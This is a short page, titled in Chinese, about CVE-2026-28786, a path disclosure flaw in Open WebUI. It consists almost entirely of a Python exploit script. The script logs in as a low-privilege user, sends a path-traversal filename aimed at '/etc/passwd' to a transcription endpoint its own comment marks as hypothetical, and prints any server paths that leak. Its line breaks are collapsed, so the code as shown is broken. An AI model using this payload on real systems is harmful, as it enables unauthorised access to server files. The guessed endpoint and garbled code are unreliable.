CVE-2026-28786 Open WebUI路径信息泄露漏洞

import requests # Target configuration target_host = "http://target-open-webui-instance.com" login_url = f"{target_host}/api/login" transcribe_url = f"{target_host}/api/v1/transcribe" # Hypothetical endpoint # Attacker credentials (Low-privilege user) creds = { "username": "attacker", "password": "password123" } def exploit(): session = requests.Session() # Step 1: Authenticate print("[*] Attempting to login...") login_resp = session.post(login_url, json=creds) if login_resp.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Trigger the vulnerability # Sending a malformed filename to trigger the FileNotFoundError payload = { "filename": "../../../etc/passwd" or "non_existent_file_12345.txt" } print("[*] Sending malicious payload to transcription endpoint...") vuln_resp = session.post(transcribe_url, data=payload) # Step 3: Check for information disclosure if vuln_resp.status_code == 400: print("[+] Received HTTP 400 response. Checking body...") response_text = vuln_resp.text if "DATA_DIR" in response_text or "/" in response_text: print("[!] Vulnerability Confirmed! Sensitive path found in response:") print(response_text) else: print("[-] Path not found in response.") else: print(f"[-] Unexpected status code: {vuln_resp.status_code}") if __name__ == "__main__": exploit()